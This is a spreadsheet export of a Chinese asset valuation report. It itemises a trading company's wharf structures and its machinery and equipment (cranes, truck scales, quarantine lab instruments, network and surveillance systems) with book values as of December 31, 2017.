[null,null,"2#引桥","混凝土","2014-12-01",{"v":3463.2,"d":"3,463.20"},{"v":11236831.73,"d":"11,236,831.73"},{"$nulls":4},0,0,null,{"v":0.0435,"d":"4.35%"},null,0,0,3.41,0,null,{"$error":"#DIV/0!"},{"$error":"#DIV/0!"},null,null,{"v":0,"d":"0%"},{"v":0.3,"d":"30%"},0]
[null,null,"3#引桥","混凝土","2014-12-01",{"v":3820.8,"d":"3,820.80"},{"v":12397114.43,"d":"12,397,114.43"},{"$nulls":4},0,0,null,{"v":0.0435,"d":"4.35%"},null,0,0,3.41,0,null,{"$error":"#DIV/0!"},{"$error":"#DIV/0!"},null,null,{"v":0,"d":"0%"},{"v":0.3,"d":"30%"},0]
[null,null,"检疫区场地",0,"2014-12-01",{"v":1,"d":"1.00"},{"v":170925.14,"d":"170,925.14"},{"v":170925.14,"d":"170,925.14"},{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},null,{"v":170925,"d":"170,925.00"},{"v":170925,"d":"170,925.00"},3.41,21.59,25,{"v":0.86,"d":"86.00%"},{"v":0.81,"d":"81%"},null,null,{"v":0.83,"d":"83%"},{"v":0.83,"d":"83%"},{"v":141867.75,"d":"141,867.75"}]
[null,null,"检疫区查验平台",0,"2014-12-01",{"v":1,"d":"1.00"},{"v":5459,"d":"5,459.00"},{"v":5459,"d":"5,459.00"},{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},null,{"v":5459,"d":"5,459.00"},{"v":5459,"d":"5,459.00"},3.41,21.59,25,{"v":0.86,"d":"86.00%"},{"v":0.81,"d":"81%"},null,null,{"v":0.83,"d":"83%"},{"v":0.83,"d":"83%"},{"v":4530.97,"d":"4,530.97"}]
[null,null,"检疫区喷淋棚",0,"2014-12-01",{"v":1,"d":"1.00"},{"v":40660,"d":"40,660.00"},{"v":40660,"d":"40,660.00"},{"$nulls":3},0,0,null,{"v":0.0435,"d":"4.35%"},null,{"v":40660,"d":"40,660.00"},{"v":40660,"d":"40,660.00"},3.41,21.59,25,{"v":0.86,"d":"86.00%"},{"v":0.81,"d":"81%"},null,null,{"v":0.83,"d":"83%"},{"v":0.83,"d":"83%"},{"v":33747.8,"d":"33,747.80"}]
[{"$nulls":21},{"$error":"#DIV/0!"},{"$nulls":4},{"v":0.3,"d":"30%"}]
["合         计",{"$nulls":4},11288.8,null,{"v":120947003.63,"d":"120,947,003.63"},null,"***",null,"***",0,"***","***",0,{"v":120947003,"d":"120,947,003.00"},"***","***","***","***","***","***",null,null,"***","***",{"v":111253845.55,"d":"111,253,845.55"}]

{"sheet":"4-6-4机器设备","index":53,"n_rows":132,"n_cols":22,"rows_kept":132,"hidden":true,"merged":[[0,0,0,15],[1,0,1,15],[2,13,2,15],[3,12,3,15],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,5,7],[4,8,5,8],[4,9,4,10],[4,11,4,13],[4,14,5,14],[4,15,5,15],[127,0,127,2],[128,0,128,2],[129,0,129,2]],"flags":["formulas_cached_only"]}
["固定资产—机器设备评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":13},"表4-6-4"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":11},"金额单位：人民币元"]
["序号","设备编号","设备名称","规格型号","生产厂家","计量单位","数量","购置日期","启用日期","账面价值",null,"评估价值",null,null,"增值率%","备注"]
[{"$nulls":9},"原值","净值","原值","成新率%","净值",null,null,"发票","合同"]
[1,"D02","电子汽车衡","SCS-120吨 3*16（米）","常州力诺电子衡器有限公司","套",1,"2014-04-01","2014-04-01",{"v":55000,"d":"55,000.00"},null,{"v":55000,"d":"55,000.00"}]
[2,"D18","电子汽车衡","SCS-100型号3*9米","江西西格玛称重设备制造有限公司","套",1,"2016-09-01","2016-09-01",{"v":27934.47,"d":"27,934.47"},null,{"v":27934.47,"d":"27,934.47"}]
[1,"J01","门座式起重机","25T-30M","江苏鼎盛重工有限公司","台",1,"2015-12-01","2015-12-01",{"v":4615384.6,"d":"4,615,384.60"},null,{"v":4615384.6,"d":"4,615,384.60"},{"$nulls":4},"√","√",null,16,null,0]
[2,"J02","门座式起重机","16T-30M","江苏鼎盛重工有限公司","台",1,"2015-12-01","2015-12-01",{"v":3675213.7,"d":"3,675,213.70"},null,{"v":3675213.7,"d":"3,675,213.70"},{"$nulls":4},"√","√",null,10]
[3,"J05","吊装夹具","吊装","董烽","套",1,"2015-11-01","2015-11-01",{"v":8500,"d":"8,500.00"},null,{"v":8500,"d":"8,500.00"},{"$nulls":7}," "]
[4,"J28","皮带运输机、漏斗、卸货滑板",null,"阳新枫林一建工程建筑有限公司","套",1,"2016-10-01","2016-10-01",{"v":776699.03,"d":"776,699.03"},null,{"v":776699.03,"d":"776,699.03"},{"$nulls":4},"√","√"]
[5,"J64","码头装卸料斗设备制作安装工程",null,"阳新枫林一建工程建筑有限公司","项",1,"2018-03-01","2018-03-01",{"v":85585.59,"d":"85,585.59"},null,{"v":85585.59,"d":"85,585.59"},{"$nulls":5},"√"]
[1,"D01","电子计量装置","变压器计量装置","国网江西瑞昌市供电有限责任公司","套",1,"2014-04-01","2014-04-01",{"v":44407,"d":"44,407.00"},null,{"v":44407,"d":"44,407.00"},null,null,""]
[2,"D12","变压器工程","SCB10-1250干式","瑞昌市佳能电力服务中心","项",1,"2014-05-01","2014-05-01",{"v":761008,"d":"761,008.00"},null,{"v":761008,"d":"761,008.00"},null,null,"",null,"√"]
[3,"J13","变压器工程","SCB10-1250干式","江苏中容科技有限公司  ","项",1,"2015-11-01","2015-11-01",{"v":452121,"d":"452,121.00"},null,{"v":452121,"d":"452,121.00"},null,null,"",null,"√"]
[1,"J04","码头1#引桥伸缩门","1.6双电机","鄱阳县万邦机电设备经营部","台",1,"2015-11-01","2015-11-01",{"v":22940,"d":"22,940.00"},null,{"v":22940,"d":"22,940.00"},null,null,""]
[2,"D17","电动伸缩门","1.6双电机","佛山市荣和昌盛门业有限公司 ","套",1,"2016-07-01","2016-07-01",{"v":18000,"d":"18,000.00"},null,{"v":18000,"d":"18,000.00"},null,null,""]
[3,"16","电热鼓风干燥箱","DHG-9240B","上海谷宁仪器有限公司","台",2,"2015-12-01","2015-12-01",{"v":7900,"d":"7,900.00"},null,{"v":7900,"d":"7,900.00"},null,null,""]
[4,"17","不锈钢电热板","GNKB-3B","上海谷宁仪器有限公司","台",2,"2015-12-01","2015-12-01",{"v":2100,"d":"2,100.00"},null,{"v":2100,"d":"2,100.00"},null,null,""]
[5,"18","电热恒温水浴锅","HH-8","上海谷宁仪器有限公司","台",2,"2015-12-01","2015-12-01",{"v":2100,"d":"2,100.00"},null,{"v":2100,"d":"2,100.00"},null,null,""]
[6,"22","电动车","绿风",null,"辆",2,"2016-10-01","2016-10-01",{"v":4500,"d":"4,500.00"},null,{"v":4500,"d":"4,500.00"}]
[7,"J65","联检大楼智能电动伸缩门",null,"镇江凯豪智能科技有限公司","套",1,"2018-03-01","2018-03-01",{"v":33333.33,"d":"33,333.33"},null,{"v":33333.33,"d":"33,333.33"}]
[1,"D40","IC卡自动识别系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-31","2017-12-31",{"v":36247.86,"d":"36,247.86"},null,{"v":36247.86,"d":"36,247.86"},{"$nulls":5},"√"]
[2,"D32","LED补光灯(2)",null,"南昌瑞翔检验检疫工程技术有限公司","个",2,"2017-12-31","2017-12-31",{"v":5982.91,"d":"5,982.91"},null,{"v":5982.91,"d":"5,982.91"},{"$nulls":5},"√"]
[3,"D34","车牌图像抓拍识别系统对接软件(2)",null,"南昌瑞翔检验检疫工程技术有限公司","项",2,"2017-12-31","2017-12-31",{"v":8547.01,"d":"8,547.01"},null,{"v":8547.01,"d":"8,547.01"},{"$nulls":5},"√"]
[4,"D14","车牌抓拍系统",null,"深圳市航通智能技术有限公司","pcs",1,"2016-05-01","2016-05-01",{"v":45299.15,"d":"45,299.15"},null,{"v":45299.15,"d":"45,299.15"}]
[5,"D39","电子车牌自动识别系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-31","2017-12-31",{"v":41974.36,"d":"41,974.36"},null,{"v":41974.36,"d":"41,974.36"},{"$nulls":5},"√"]
[6,"D42","电子地磅采集系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-31","2017-12-31",{"v":9478.63,"d":"9,478.63"},null,{"v":9478.63,"d":"9,478.63"},{"$nulls":5},"√"]
[7,"D41","电子关锁施解封系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-31","2017-12-31",{"v":64700.85,"d":"64,700.85"},null,{"v":64700.85,"d":"64,700.85"},{"$nulls":5},"√"]
[8,"D36","电子监管系统数据查询接口(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-31","2017-12-31",{"v":17094.02,"d":"17,094.02"},null,{"v":17094.02,"d":"17,094.02"},{"$nulls":5},"√"]
[9,"D21","电子平台（精确到0.01g）","YP5002","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":1965.81,"d":"1,965.81"},null,{"v":1965.81,"d":"1,965.81"},{"$nulls":5},"√"]
[10,"D03","电子汽车衡（2）","SCS-100型3.4*18米","江西兴邦衡器有限公司","台",2,"2015-12-01","2015-12-01",{"v":121200,"d":"121,200.00"},null,{"v":121200,"d":"121,200.00"},{"$nulls":4},"√"]
[11,"D37","防护罩一体化卡口抓拍单元（含电源）(2)",null,"南昌瑞翔检验检疫工程技术有限公司","个",2,"2017-12-31","2017-12-31",{"v":34188.03,"d":"34,188.03"},null,{"v":34188.03,"d":"34,188.03"},{"$nulls":5},"√"]
[12,"D13","高杆灯安装工程",null,"九江瑞盛德电气设备有限公司","项",1,"2015-12-01","2015-12-01",{"v":204000,"d":"204,000.00"},null,{"v":204000,"d":"204,000.00"},{"$nulls":4},"√"]
[13,"D05","海信液晶彩电LED60K380U","LED60K380U","武穴工贸泰盛家电有限公司","套",1,"2015-12-01","2015-12-01",{"v":7179,"d":"7,179.00"},null,{"v":7179,"d":"7,179.00"}]
[14,"D35","检验检疫（CIQ）数据查询接口(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-31","2017-12-31",{"v":42735.04,"d":"42,735.04"},null,{"v":42735.04,"d":"42,735.04"},{"$nulls":5},"√"]
[15,"D25","卡口设备防雷系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-31","2017-12-31",{"v":6871.79,"d":"6,871.79"},null,{"v":6871.79,"d":"6,871.79"},{"$nulls":5},"√"]
[16,"D24","卡口设备配电系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-01","2017-12-02",{"v":41025.64,"d":"41,025.64"},null,{"v":41025.64,"d":"41,025.64"},{"$nulls":5},"√"]
[17,"D23","可视语音对讲系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-01","2017-12-02",{"v":23042.74,"d":"23,042.74"},null,{"v":23042.74,"d":"23,042.74"},{"$nulls":5},"√"]
[18,"D43","人形通道(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-01","2017-12-02",{"v":4700.85,"d":"4,700.85"},null,{"v":4700.85,"d":"4,700.85"},{"$nulls":5},"√"]
[19,"D06","摄像机","索尼（SONY) FDR-AX30 4X","瑞昌文明电脑科技有限公司","台",1,"2015-12-01","2015-12-01",{"v":5920,"d":"5,920.00"},null,{"v":5920,"d":"5,920.00"}]
[20,"D33","摄像机及补光灯及安装杆件(2)",null,"南昌瑞翔检验检疫工程技术有限公司","套",2,"2017-12-01","2017-12-02",{"v":2051.28,"d":"2,051.28"},null,{"v":2051.28,"d":"2,051.28"},{"$nulls":5},"√"]
[21,"D16","视频监控设备",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-06-01","2016-06-01",{"v":923076.9,"d":"923,076.90"},null,{"v":923076.9,"d":"923,076.90"},{"$nulls":5},"√"]
[22,"D20","数码照相机","D610","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":11794.87,"d":"11,794.87"},null,{"v":11794.87,"d":"11,794.87"},{"$nulls":5},"√"]
[23,"D22","通道视频监控系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-01","2017-12-02",{"v":48461.54,"d":"48,461.54"},null,{"v":48461.54,"d":"48,461.54"},{"$nulls":5},"√"]
[24,"D04","网络监控设备",null,"南京贝尔德网络工程有限公司","套",1,"2015-12-01","2015-12-01",{"v":340000,"d":"340,000.00"},null,{"v":340000,"d":"340,000.00"},{"$nulls":4},"√"]
[25,"D15","网络监控设备",null,"南京市秦淮区强瑞电子经营部","批",1,"2015-12-01","2015-12-01",{"v":8700,"d":"8,700.00"},null,{"v":8700,"d":"8,700.00"}]
[26,"D38","系统数据对接服务接口(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-01","2017-12-02",{"v":51282.05,"d":"51,282.05"},null,{"v":51282.05,"d":"51,282.05"},{"$nulls":5},"√"]
[27,"D30","箱号识别系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-01","2017-12-02",{"v":110957.26,"d":"110,957.26"},null,{"v":110957.26,"d":"110,957.26"},{"$nulls":4},"√","√"]
[28,"D10","有害生物远程鉴定系统","V2.0-A","南京金哲顺仪器设备有限公司","套",1,"2015-12-01","2015-12-01",{"v":70000,"d":"70,000.00"},null,{"v":70000,"d":"70,000.00"}]
[29,"D27","闸口放行监控系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-01","2017-12-02",{"v":241111.11,"d":"241,111.11"},null,{"v":241111.11,"d":"241,111.11"},{"$nulls":4},"√","√"]
[30,"D26","制发卡系统(1)",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2017-12-01","2017-12-02",{"v":25786.32,"d":"25,786.32"},null,{"v":25786.32,"d":"25,786.32"},{"$nulls":5},"√"]
[31,"D09","智能人工气候箱","PRX-350D","上海谷宁仪器有限公司","台",1,"2015-12-01","2015-12-01",{"v":10500,"d":"10,500.00"},null,{"v":10500,"d":"10,500.00"}]
[1,"J59","UPS","20KVA,三进三出，2小时","南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":84921.12,"d":"84,921.12"},null,{"v":84921.12,"d":"84,921.12"},{"$nulls":5},"√"]
[2,"J60","安全网关","SecGate3600","南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":77338.04,"d":"77,338.04"},null,{"v":77338.04,"d":"77,338.04"},{"$nulls":5},"√"]
[3,"J20","冰箱","FYL-YS-100L","建发（武汉）有限公司","套",2,"2016-10-01","2016-10-01",{"v":5470.09,"d":"5,470.09"},null,{"v":5470.09,"d":"5,470.09"},{"$nulls":5},"√"]
[4,"J39","操作系统（Window 2008 server微软正版授权）10用户",null,"南昌瑞翔检验检疫工程技术有限公司","套",2,"2016-12-01","2016-12-01",{"v":20512.82,"d":"20,512.82"},null,{"v":20512.82,"d":"20,512.82"},{"$nulls":5},"√"]
[5,"J21","超低温冰箱","DW-HL540","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":49145.3,"d":"49,145.30"},null,{"v":49145.3,"d":"49,145.30"},{"$nulls":5},"√"]
[6,"J23","超声波清洗器","SB-5200DTN","建发（武汉）有限公司","套",2,"2016-10-01","2016-10-01",{"v":7008.55,"d":"7,008.55"},null,{"v":7008.55,"d":"7,008.55"},{"$nulls":5},"√"]
[7,"J25","电锯","GKS235","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":1367.52,"d":"1,367.52"},null,{"v":1367.52,"d":"1,367.52"},{"$nulls":5},"√"]
[8,"J46","电源防雷器B级","第二级AM2-40/3+NPE","南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":4578.49,"d":"4,578.49"},null,{"v":4578.49,"d":"4,578.49"},{"$nulls":5},"√"]
[9,"J47","电源防雷器C级","AM3-20/3+NPE","南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":4128.15,"d":"4,128.15"},null,{"v":4128.15,"d":"4,128.15"},{"$nulls":5},"√"]
[10,"J62","二层交换机","WS-C2960X-24TD-L","南昌瑞翔检验检疫工程技术有限公司","台",3,"2016-12-01","2016-12-01",{"v":47434,"d":"47,434.00"},null,{"v":47434,"d":"47,434.00"},{"$nulls":5},"√"]
[11,"J44","服务器机柜","42U:800*1100*2000","南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":19691.41,"d":"19,691.41"},null,{"v":19691.41,"d":"19,691.41"},{"$nulls":5},"√"]
[12,"J30","伽马探测器（含支撑结构）",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":153846.16,"d":"153,846.16"},null,{"v":153846.16,"d":"153,846.16"},{"$nulls":4},"√","√"]
[13,"J49","感温探测器","JTY-GD-JBF-3100","南昌瑞翔检验检疫工程技术有限公司","只",2,"2016-12-01","2016-12-01",259.83,null,259.83,{"$nulls":5},"√"]
[14,"J50","感烟探测器","JTW-ZD-JBF-3110","南昌瑞翔检验检疫工程技术有限公司","只",2,"2016-12-01","2016-12-01",259.83,null,259.83,{"$nulls":5},"√"]
[15,"J14","高级生物显微镜","M205  FA","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":324786.32,"d":"324,786.32"},null,{"v":324786.32,"d":"324,786.32"},{"$nulls":4},"√"]
[16,"J15","高级体视显微镜","DM5000  B","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":324786.32,"d":"324,786.32"},null,{"v":324786.32,"d":"324,786.32"},{"$nulls":4},"√"]
[17,"J27","高精度便携式溴甲烷检测仪","PN-3500-CH3Br","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":16239.32,"d":"16,239.32"},null,{"v":16239.32,"d":"16,239.32"},{"$nulls":5},"√"]
[18,"J19","高压灭菌锅","MLS-3751L-PC","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":43803.42,"d":"43,803.42"},null,{"v":43803.42,"d":"43,803.42"},{"$nulls":5},"√"]
[19,"J57","工业空调","FVY125DQV2CB","南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":31212.16,"d":"31,212.16"},null,{"v":31212.16,"d":"31,212.16"},{"$nulls":5},"√"]
[20,"J18","光照培养箱","MLR-352H-PC","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":84273.5,"d":"84,273.50"},null,{"v":84273.5,"d":"84,273.50"},{"$nulls":5},"√"]
[21,"J37","基础硬件",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":41025.64,"d":"41,025.64"},null,{"v":41025.64,"d":"41,025.64"},{"$nulls":5},"√"]
[22,"J06","集装箱正面吊车","CRS4532","浙江美科斯叉车有限公司","台",1,"2016-03-01","2016-03-01",{"v":2213675.22,"d":"2,213,675.22"},null,{"v":2213675.22,"d":"2,213,675.22"},{"$nulls":4},"√"]
[23,"J03","监管区低压安装工程",null,"上饶市金泰电力安装有限责任公司","项",1,"2015-12-01","2015-12-01",{"v":368321,"d":"368,321.00"},null,{"v":368321,"d":"368,321.00"},{"$nulls":4},"√"]
[24,"J38","检验检疫场站管理软件",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":291453,"d":"291,453.00"},null,{"v":291453,"d":"291,453.00"},{"$nulls":4},"√","√"]
[25,"J17","近红外检测仪机器数据处理系统","smarteye1700-wd","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":122222.22,"d":"122,222.22"},null,{"v":122222.22,"d":"122,222.22"},{"$nulls":4},"√"]
[26,"J63","九江瑞昌口岸监管区系统设备",null,"深圳市航通智能技术有限公司","项",1,"2017-06-01","2017-06-01",{"v":779825.67,"d":"779,825.67"},null,{"v":779825.67,"d":"779,825.67"},{"$nulls":4},"√","√"]
[27,"J26","离心机(1)","MiniSpin plus","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":18376.07,"d":"18,376.07"},null,{"v":18376.07,"d":"18,376.07"},{"$nulls":5},"√"]
[28,"J43","列头柜",null,"南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":21304.05,"d":"21,304.05"},null,{"v":21304.05,"d":"21,304.05"},{"$nulls":5},"√"]
[29,"J58","路由器","CISCO2911/K9","南昌瑞翔检验检疫工程技术有限公司","台",2,"2016-12-01","2016-12-01",{"v":22010.21,"d":"22,010.21"},null,{"v":22010.21,"d":"22,010.21"},{"$nulls":5},"√"]
[30,"J55","灭火药剂","HFC-227EA","南昌瑞翔检验检疫工程技术有限公司","kg",35,"2016-12-01","2016-12-01",{"v":7878.68,"d":"7,878.68"},null,{"v":7878.68,"d":"7,878.68"},{"$nulls":5},"√"]
[31,"J41","诺顿网络版防病毒软件",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":10256.41,"d":"10,256.41"},null,{"v":10256.41,"d":"10,256.41"},{"$nulls":5},"√"]
[32,"J48","七氟丙烷灭火装置","GQQ50/2.5-QL","南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":6495.85,"d":"6,495.85"},null,{"v":6495.85,"d":"6,495.85"},{"$nulls":5},"√"]
[33,"J56","气体灭火控制器","JB-QB-21S-VFC3010A/CE2(100)","南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":6856.73,"d":"6,856.73"},null,{"v":6856.73,"d":"6,856.73"},{"$nulls":5},"√"]
[34,"J22","气浴摇床","TALBOYS 5000IR","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":64102.56,"d":"64,102.56"},null,{"v":64102.56,"d":"64,102.56"},{"$nulls":5},"√"]
[35,"D11","弱电工程",null,"南京贝尔德网络工程有限公司","套",1,"2016-02-01","2016-02-01",{"v":167364.95,"d":"167,364.95"},null,{"v":167364.95,"d":"167,364.95"},{"$nulls":4},"√"]
[36,"J61","三层交换机","WS-C3750X-24T-E","南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":40903.24,"d":"40,903.24"},null,{"v":40903.24,"d":"40,903.24"},{"$nulls":5},"√"]
[37,"Q06","生物安全柜","AC2-4S1","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":45299.15,"d":"45,299.15"},null,{"v":45299.15,"d":"45,299.15"},{"$nulls":5},"√"]
[38,"J53","声光报警器","JBF-VM1372B","南昌瑞翔检验检疫工程技术有限公司","只",2,"2016-12-01","2016-12-01",314.94,null,314.94,{"$nulls":5},"√"]
[39,"J32","声光报警设备",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":4273.5,"d":"4,273.50"},null,{"v":4273.5,"d":"4,273.50"},{"$nulls":5},"√"]
[40,"J52","释放显示灯","LW5606","南昌瑞翔检验检疫工程技术有限公司","只",1,"2016-12-01","2016-12-01",157.48,null,157.48,{"$nulls":5},"√"]
[41,"J51","手动按钮","JBF-V0P3580A","南昌瑞翔检验检疫工程技术有限公司","只",1,"2016-12-01","2016-12-01",157.48,null,157.48,{"$nulls":5},"√"]
[42,"J54","输入/输出模块","VM3365A","南昌瑞翔检验检疫工程技术有限公司","只",1,"2016-12-01","2016-12-01",324.79,null,324.79,{"$nulls":5},"√"]
[43,"J40","数据库软件（微软sqlserver标准版）",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":29914.53,"d":"29,914.53"},null,{"v":29914.53,"d":"29,914.53"},{"$nulls":5},"√"]
[44,"J24","水分测定仪","MB35","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",{"v":11880.34,"d":"11,880.34"},null,{"v":11880.34,"d":"11,880.34"},{"$nulls":5},"√"]
[45,"J12","通道式雾话喷淋消毒系统",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-06-01","2016-06-01",{"v":495726.5,"d":"495,726.50"},null,{"v":495726.5,"d":"495,726.50"},{"$nulls":4},"√","√"]
[46,"J33","通道占用传感器",null,"南昌瑞翔检验检疫工程技术有限公司","个",1,"2016-12-01","2016-12-01",{"v":10256.41,"d":"10,256.41"},null,{"v":10256.41,"d":"10,256.41"},{"$nulls":5},"√"]
[47,"J45","网络机柜","42U:600*800*2000","南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":14321.05,"d":"14,321.05"},null,{"v":14321.05,"d":"14,321.05"},{"$nulls":5},"√"]
[48,"J08","卫生处理作业成套设备",null,"南昌瑞翔检验检疫工程技术有限公司",null,1,"2016-06-01","2016-06-01",{"v":119658.12,"d":"119,658.12"},null,{"v":119658.12,"d":"119,658.12"},{"$nulls":5},"√"]
[49,"J16","显微摄像系统（CCD）","DFC450C","建发（武汉）有限公司","套",2,"2016-10-01","2016-10-01",{"v":162393.16,"d":"162,393.16"},null,{"v":162393.16,"d":"162,393.16"},{"$nulls":4},"√","√"]
[50,"J09","新能源查验平台设备",null,"南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-06-01","2016-06-01",{"v":59829.06,"d":"59,829.06"},null,{"v":59829.06,"d":"59,829.06"},{"$nulls":5},"√"]
[51,"J07","药械仓库配套设备",null,"南昌瑞翔检验检疫工程技术有限公司",null,1,"2016-06-01","2016-06-01",{"v":51282.05,"d":"51,282.05"},null,{"v":51282.05,"d":"51,282.05"},{"$nulls":5},"√"]
[52,"J34","远程监控中心",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":10256.41,"d":"10,256.41"},null,{"v":10256.41,"d":"10,256.41"},{"$nulls":5},"√"]
[53,"Q07","植物检疫工具箱(2)","DU-80006A","建发（武汉）有限公司","套",2,"2016-10-01","2016-10-01",{"v":2051.28,"d":"2,051.28"},null,{"v":2051.28,"d":"2,051.28"},{"$nulls":5},"√"]
[54,"J10","智能雾化喷洒消毒平台设备",null,"南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-06-01","2016-06-01",{"v":153846.16,"d":"153,846.16"},null,{"v":153846.16,"d":"153,846.16"},{"$nulls":4},"√","√"]
[55,"J11","智能熏蒸平台设备",null,"南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-06-01","2016-06-01",{"v":153846.16,"d":"153,846.16"},null,{"v":153846.16,"d":"153,846.16"},{"$nulls":4},"√","√"]
[56,"J31","主控单元",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":82051.28,"d":"82,051.28"},null,{"v":82051.28,"d":"82,051.28"},{"$nulls":5},"√"]
[57,"J35","抓拍系统",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":12820.51,"d":"12,820.51"},null,{"v":12820.51,"d":"12,820.51"},{"$nulls":5},"√"]
[58,"J36","专用软件（含免费升级）",null,"南昌瑞翔检验检疫工程技术有限公司","套",1,"2016-12-01","2016-12-01",{"v":85470.09,"d":"85,470.09"},null,{"v":85470.09,"d":"85,470.09"},{"$nulls":5},"√"]
[59,"J42","综合配电柜（梅兰日兰电气模板）",null,"南昌瑞翔检验检疫工程技术有限公司","台",1,"2016-12-01","2016-12-01",{"v":28255.9,"d":"28,255.90"},null,{"v":28255.9,"d":"28,255.90"},{"$nulls":5},"√"]
[60,"Q05","广告牌",null,"浔阳区美化广告经营部",null,1,"2016-04-01","2016-04-01",{"v":38600,"d":"38,600.00"},null,{"v":38600,"d":"38,600.00"}]
[61,"Q03","实验室边柜",null,"江西赛益鑫实验设备有限公司","批",1,"2015-12-01","2015-12-01",{"v":18165,"d":"18,165.00"},null,{"v":18165,"d":"18,165.00"}]
[62,"Q02","实验室操作台",null,"江西赛益鑫实验设备有限公司","批",1,"2015-12-01","2015-12-01",{"v":9082,"d":"9,082.00"},null,{"v":9082,"d":"9,082.00"}]
[63,"Q08","微波炉","P70D20TP-C6","建发（武汉）有限公司","套",1,"2016-10-01","2016-10-01",299.15,null,299.15,{"$nulls":5},"√"]
[64,"Q04","宣传标示、标牌、制度牌",null,"浔阳区美化广告经营部","批",1,"2015-12-01","2015-12-01",{"v":115166.8,"d":"115,166.80"},null,{"v":115166.8,"d":"115,166.80"},{"$nulls":4},"√","√"]
[65,"Q01","展示柜",null,"南昌市红太阳装饰展示柜有限公司","批",1,"2015-12-01","2015-12-02",{"v":18450,"d":"18,450.00"},null,{"v":18450,"d":"18,450.00"}]
[66,"Y01","内燃机械叉车","FD30-M2GA1","浙江美科斯叉车有限公司","台",1,"2016-03-01","2016-03-01",{"v":51282.05,"d":"51,282.05"},null,{"v":51282.05,"d":"51,282.05"}]
[67,null,"热水器",{"$nulls":6},{"v":40975.86,"d":"40,975.86"},null,{"v":40975.86,"d":"40,975.86"}]
[68,null,"网络移动机设备",{"$nulls":6},{"v":456896.56,"d":"456,896.56"},null,{"v":456896.56,"d":"456,896.56"}]
[69,null,"厨具设备",{"$nulls":6},{"v":212735.03,"d":"212,735.03"},null,{"v":212735.03,"d":"212,735.03"}]
[70,null,"网络覆盖",{"$nulls":6},{"v":325242.72,"d":"325,242.72"},null,{"v":325242.72,"d":"325,242.72"}]
[]
[{"$nulls":14},""]
[{"$nulls":14},""]
["合     计",{"$nulls":8},{"v":21463017.11,"d":"21,463,017.11"},null,{"v":21463017.11,"d":"21,463,017.11"}]
["减：机器设备减值准备"]
